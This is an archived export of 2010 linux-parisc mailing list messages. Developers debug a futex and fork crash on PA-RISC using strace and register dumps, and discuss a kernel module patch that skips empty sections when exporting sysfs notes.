>> Could you verify that your assertion that only ~ 0x40 bytes of initial
>> room were allocated?
>>
>>> e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.
>>
>> I agree with your analysis, but the error is that more stack should be
>> allocated.

Not more stack.
Just increasing the 0x40 initial byte offset, but that's IMHO a hack...

> I don't follow that conclusion.  The stack grows upward and the stack
> pointer isn't out of range.   The fork operation is somehow
> corrupting the stack memory of the thread created by pthread_create.
> I would say the parent is corrupting its own memory.  I doubt the
> forked child is affecting the parent.  Fork would have to behave like
> vfork to do this.  I have seen the pthread_create thread fail before
> the clone syscall of the following fork.

Doesn't pthread_create() created processes share the memory with
their parents? In that case, the child can crash or even overwrite memory
of the parent process...?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 04 Jan 2010 22:24:53 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <4B425CA5.1030506@gmx.de>
References: <20100101034858.80D264EA9@hiauly1.hia.nrc.ca> <20100104162732.10090@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262640306 22651 80.91.229.12 (4 Jan 2010 21:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 21:25:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca,
	carlos@systemhalted.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 22:24:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRuQ5-00032Y-0T
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 22:24:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753593Ab0ADVY5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 16:24:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753589Ab0ADVY5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 16:24:57 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:59957 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753145Ab0ADVY4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 16:24:56 -0500
Original-Received: (qmail invoked by alias); 04 Jan 2010 21:24:55 -0000
Original-Received: from p4FDB2EE9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.233]
  by mail.gmx.net (mp030) with SMTP; 04 Jan 2010 22:24:55 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+F+mU68k2FViq2oigPiP3ldTBMII/68CQRaNtKzX
	vrp9ycs15Ugtfh
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20100104162732.10090@gmx.net>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.61
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2557>

On 01/04/2010 05:27 PM, Helge Deller wrote:
> If my assumptions are correct, then we either could
>
> a) use the gcc atomic builtins instead of own atomic code in libc6:
> E.g: add to ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h:
> ...
> #if __GNUC_PREREQ (4, 1)
> # define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
>    __sync_val_compare_and_swap (mem, oldval, newval)
> #  define atomic_compare_and_exchange_bool_acq(mem, newval, oldval) \
>    (! __sync_bool_compare_and_swap (mem, oldval, newval))
>
> #elif __ASSUME_LWS_CAS
> ....


Even with this change, minifail sadly still segfaults :-(

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 4 Jan 2010 16:39:30 -0500 (EST)
Lines: 99
Approved: news@gmane.org
Message-ID: <20100104213931.5BEAA4EA9@hiauly1.hia.nrc.ca>
References: <4B4254C5.3050302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262641183 25695 80.91.229.12 (4 Jan 2010 21:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Jan 2010 21:39:43 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 04 22:39:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NRueD-0000GP-ND
	for glpp-linux-parisc@lo.gmane.org; Mon, 04 Jan 2010 22:39:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753695Ab0ADVjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Jan 2010 16:39:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753738Ab0ADVjd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Jan 2010 16:39:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4601 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753695Ab0ADVjd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Jan 2010 16:39:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5BEAA4EA9; Mon,  4 Jan 2010 16:39:31 -0500 (EST)
In-Reply-To: <4B4254C5.3050302@gmx.de> from "Helge Deller" at Jan 4, 2010 09:51:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2558>

> On 01/04/2010 07:11 PM, John David Anglin wrote:
> > On Mon, 04 Jan 2010, Carlos O'Donell wrote:
> >
> >> On Mon, Jan 4, 2010 at 11:27 AM, Helge Deller<deller@gmx.de>  wrote:
> >> This is wrong. Each thread should have 8MB of stack. If we only get ~
> >> 0x40 bytes then npt/nptl-init.c is setting __default_stacksize
> >> incorrectly.
> >
> > The 0x40 bytes is the initial frame allocated for clone running in
> > the child thread.   The code is not running out of stack space.
> 
> Hmmm...
> 
> strace on minifail (as attached to Dave's mail) gives me:
> 
> getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
> mmap(NULL, 8388608, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4076d000
> brk(0)                                  = 0x12000
> brk(0x33000)                            = 0x33000
> mprotect(0x40f6b000, 4096, PROT_NONE)   = 0
> clone(Process 1684 attached (waiting for parent)
> Process 1684 resumed (parent 1683 ready)
> child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684
> 
> The mmap() allocates and maps the new child stack -> at 0x4076d000
> The clone() syscall is called with child_stack=0x4076d040

So, in this case, start_thread will be called with $sp = 0x4076d040.
The second instruction of start_thread increments $sp by 0x1c0.

> 
> I might be wrong, but that's the 0x40 bytes I mentioned.
>   
> >> Even PTHREAD_STACK_MIN should be 16kb?
> 
> The example above allocates 8MB.
> But my point is, that child_stack starts at 0x4076d040, and
> that LWS (in the child process with the stack as given above) tries to
> store something to an address lower than 0x4076d000.

This would be bad.  However, the LWS calls are in "start_thread", so
it didn't appear that the stack offsets that you mentioned were out
of range.  GCC would be terribly broken if it got these offsets wrong
in general.

> >> Could you verify that your assertion that only ~ 0x40 bytes of initial
> >> room were allocated?
> >>
> >>> e) Thus the child either crashes, overwrites memory of the parent or does other things wrong.
> >>
> >> I agree with your analysis, but the error is that more stack should be
> >> allocated.
> 
> Not more stack.
> Just increasing the 0x40 initial byte offset, but that's IMHO a hack...
> 
> > I don't follow that conclusion.  The stack grows upward and the stack
> > pointer isn't out of range.   The fork operation is somehow
> > corrupting the stack memory of the thread created by pthread_create.
> > I would say the parent is corrupting its own memory.  I doubt the
> > forked child is affecting the parent.  Fork would have to behave like
> > vfork to do this.  I have seen the pthread_create thread fail before
> > the clone syscall of the following fork.
> 
> Doesn't pthread_create() created processes share the memory with
> their parents? In that case, the child can crash or even overwrite memory
> of the parent process...?

We have to be careful about semantics.  The child of the fork runs
in a different address space, so it is unlikely that it can corrupt
the parent directly.  It is true that the child inherits all the
pthread mutexs and the thread context of the thread which called fork.
The child could close the file descriptors of the parent.  It could
affect any context that is stored in the kernel.

The fork call is involved in this bug.  I have verified that the faults
don't occur if it is removed.  The faults don't occur if a sleep(1) call
is added between the pthread_create and fork calls.

I think the parent thread is corrupting the stack of the child thread
created by pthread_create, but I don't know how this happens.  I have
seen at least one case where this corruption occurs prior to the system
clone call for the fork.  I think we must have some kind of lock
failure which is timing dependent (i.e., the scheduling of the parent
and child threads).

I thought this likely indicated the lws code wasn't atomic.  We don't
allow schedule to run if we are on the gateway page.  I'm starting
to wonder if threads (not processes) are still being scheduled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 5 Jan 2010 17:27:34 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20100105222734.E8A8C4EB5@hiauly1.hia.nrc.ca>
References: <4B4254C5.3050302@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262730464 30799 80.91.229.12 (5 Jan 2010 22:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Jan 2010 22:27:44 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 05 23:27:36 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NSHsG-0007Pu-Ha
	for glpp-linux-parisc@lo.gmane.org; Tue, 05 Jan 2010 23:27:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752288Ab0AEW1h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jan 2010 17:27:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752468Ab0AEW1h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 Jan 2010 17:27:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4676 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752288Ab0AEW1g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jan 2010 17:27:36 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E8A8C4EB5; Tue,  5 Jan 2010 17:27:34 -0500 (EST)
In-Reply-To: <4B4254C5.3050302@gmx.de> from "Helge Deller" at Jan 4, 2010 09:51:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2560>

> clone(Process 1684 attached (waiting for parent)
> Process 1684 resumed (parent 1683 ready)
> child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684

I noticed the tidptr for the fork may not be correct:

clone(child_stack=0x40e87040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x416864e8, tls=0x41686900, child_tidptr=0x416864e8) = 31613
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 31614

I would have thought the value should have been the same as that in the
clone from the pthread_create call.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Tue, 5 Jan 2010 17:15:50 -0800
Lines: 122
Approved: news@gmane.org
Message-ID: <20100105171550.8aef9b15.akpm@linux-foundation.org>
References: <87k4w4wux9.fsf@purkki.valot.fi>
	<1262188157.2749.21.camel@mulgrave.site>
	<4B3D145C.2080106@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262740614 25796 80.91.229.12 (6 Jan 2010 01:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Jan 2010 01:16:54 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	ben@decadent.org.uk, tbm@cyrius.com,
	Kalle Valo <kalle.valo@iki.fi>, linux-kernel@vger.kernel.org,
	linux-wireless@vger.kernel.org, linux-omap@vger.kernel.org,
	rusty@rustcorp.com.au, roland@redhat.com, dave@hiauly1.hia.nrc.ca,
	Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 06 02:16:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NSKVx-00019F-7t
	for glpp-linux-parisc@lo.gmane.org; Wed, 06 Jan 2010 02:16:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751096Ab0AFBQp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Jan 2010 20:16:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754475Ab0AFBQp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 Jan 2010 20:16:45 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:44589 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751096Ab0AFBQn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Jan 2010 20:16:43 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o061Fqw6021824
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 5 Jan 2010 17:15:53 -0800
Original-Received: from akpm.mtv.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id o061FoWB032175;
	Tue, 5 Jan 2010 17:15:50 -0800
In-Reply-To: <4B3D145C.2080106@gmx.de>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; x86_64-pc-linux-gnu)
X-Spam-Status: No, hits=-3.015 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2561 gmane.linux.kernel:934789 gmane.linux.kernel.wireless.general:45144 gmane.linux.ports.arm.omap:29109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2561>

On Thu, 31 Dec 2009 22:15:08 +0100
Helge Deller <deller@gmx.de> wrote:

> On 12/30/2009 04:49 PM, James Bottomley wrote:
> > A better, and more comprehensive patch would be to try not to count the
> > empty text sections when we're building the notes section (and actually
> > anywhere else in the file).  This patch actually relies on the fact that
> > if sh_size is zero for the text section it should be for the
> > corresponding notes section.  If that doesn't work, we'd actually have
> > to do the matching in the construction piece.
> >
> > Can you try it to see if it works for you?  If it doesn't, I'll try
> > matching notes to text.  It works fine on parisc, but as we don't have a
> > notes section, that's not saying much ...
> >
> > Thanks,
> >
> > James
> 
> 
> Ben Hutchings already sent a similar patch.
> See: http://patchwork.kernel.org/patch/68925/
> 
> IMHO James patch below seems better since it
> checks if a section will be allocated at a few more
> places...
> 

Ben's patch (which is below) is currently in linux-next, via a Rusty
tree.  It is marked for -stable backporting.

If James's patch is preferable then there's an opportunity to do the
swap if we move promptly.




commit 9e9b48a89ed43c73d7355ff999b8e87b0628e1cd
Author:     Ben Hutchings <ben@decadent.org.uk>
AuthorDate: Sat Dec 19 14:43:01 2009 +0000
Commit:     Stephen Rothwell <sfr@canb.auug.org.au>
CommitDate: Tue Jan 5 08:44:50 2010 +1100

    modules: Skip empty sections when exporting section notes
    
    Commit 35dead4 "modules: don't export section names of empty sections
    via sysfs" changed the set of sections that have attributes, but did
    not change the iteration over these attributes in add_notes_attrs().
    This can lead to add_notes_attrs() creating attributes with the wrong
    names or with null name pointers.
    
    Introduce a sect_empty() function and use it in both add_sect_attrs()
    and add_notes_attrs().
    
    Reported-by: Martin Michlmayr <tbm@cyrius.com>
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Tested-by: Martin Michlmayr <tbm@cyrius.com>
    Cc: stable@kernel.org
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>

diff --git a/kernel/module.c b/kernel/module.c
index e96b8ed..f82386b 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1010,6 +1010,12 @@ static const struct kernel_symbol *resolve_symbol(Elf_Shdr *sechdrs,
  * J. Corbet <corbet@lwn.net>
  */
 #if defined(CONFIG_KALLSYMS) && defined(CONFIG_SYSFS)
+
+static inline bool sect_empty(const Elf_Shdr *sect)
+{
+	return !(sect->sh_flags & SHF_ALLOC) || sect->sh_size == 0;
+}
+
 struct module_sect_attr
 {
 	struct module_attribute mattr;
@@ -1051,8 +1057,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 
 	/* Count loaded sections and allocate structures */
 	for (i = 0; i < nsect; i++)
-		if (sechdrs[i].sh_flags & SHF_ALLOC
-		    && sechdrs[i].sh_size)
+		if (!sect_empty(&sechdrs[i]))
 			nloaded++;
 	size[0] = ALIGN(sizeof(*sect_attrs)
 			+ nloaded * sizeof(sect_attrs->attrs[0]),
@@ -1070,9 +1075,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 	sattr = &sect_attrs->attrs[0];
 	gattr = &sect_attrs->grp.attrs[0];
 	for (i = 0; i < nsect; i++) {
-		if (! (sechdrs[i].sh_flags & SHF_ALLOC))
-			continue;
-		if (!sechdrs[i].sh_size)
+		if (sect_empty(&sechdrs[i]))
 			continue;
 		sattr->address = sechdrs[i].sh_addr;
 		sattr->name = kstrdup(secstrings + sechdrs[i].sh_name,
@@ -1156,7 +1159,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
 	/* Count notes sections and allocate structures.  */
 	notes = 0;
 	for (i = 0; i < nsect; i++)
-		if ((sechdrs[i].sh_flags & SHF_ALLOC) &&
+		if (!sect_empty(&sechdrs[i]) &&
 		    (sechdrs[i].sh_type == SHT_NOTE))
 			++notes;
 
@@ -1172,7 +1175,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
 	notes_attrs->notes = notes;
 	nattr = &notes_attrs->attrs[0];
 	for (loaded = i = 0; i < nsect; ++i) {
-		if (!(sechdrs[i].sh_flags & SHF_ALLOC))
+		if (sect_empty(&sechdrs[i]))
 			continue;
 		if (sechdrs[i].sh_type == SHT_NOTE) {
 			nattr->attr.name = mod->sect_attrs->attrs[loaded].name;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 6 Jan 2010 18:33:50 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <20100106233351.0ECE54EB5@hiauly1.hia.nrc.ca>
References: <20100105222734.E8A8C4EB5@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262820843 1454 80.91.229.12 (6 Jan 2010 23:34:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Jan 2010 23:34:03 +0000 (UTC)
Cc: deller@gmx.de, dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 07 00:33:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NSfNx-0008VR-S4
	for glpp-linux-parisc@lo.gmane.org; Thu, 07 Jan 2010 00:33:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756334Ab0AFXdy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Jan 2010 18:33:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756311Ab0AFXdy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 6 Jan 2010 18:33:54 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4776 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756137Ab0AFXdx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Jan 2010 18:33:53 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0ECE54EB5; Wed,  6 Jan 2010 18:33:50 -0500 (EST)
In-Reply-To: <20100105222734.E8A8C4EB5@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 5, 2010 05:27:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2562>

> > clone(Process 1684 attached (waiting for parent)
> > Process 1684 resumed (parent 1683 ready)
> > child_stack=0x4076d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x40f6c4e8, tls=0x40f6c900, child_tidptr=0x40f6c4e8) = 1684
> 
> I noticed the tidptr for the fork may not be correct:
> 
> clone(child_stack=0x40e87040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x416864e8, tls=0x41686900, child_tidptr=0x416864e8) = 31613
> clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 31614
> 
> I would have thought the value should have been the same as that in the
> clone from the pthread_create call.

It's possible that this is done intentionally...  The parent_tidptr
is the one that's wrong in the first clone.

I have noticed something else in the minifail kernel register dumps:

Jan  6 15:54:05 hiauly6 kernel: sr00-03  00000024 0000001b 00000000 00000024
Jan  6 15:54:05 hiauly6 kernel: sr04-07  00000024 00000024 00000024 00000024

sr1 seems to contain an odd value.  This seems to be the case in all
minifail register dumps.  I checked that the sr1 value doesn't belong
to the child of the fork call.  This might indicate a tlb/cache issue
as sr1 is used for these operations.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 07 Jan 2010 17:13:49 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <4B46083D.2030109@gmx.de>
References: <20100106233351.0ECE54EB5@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262880842 9249 80.91.229.12 (7 Jan 2010 16:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Jan 2010 16:14:02 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
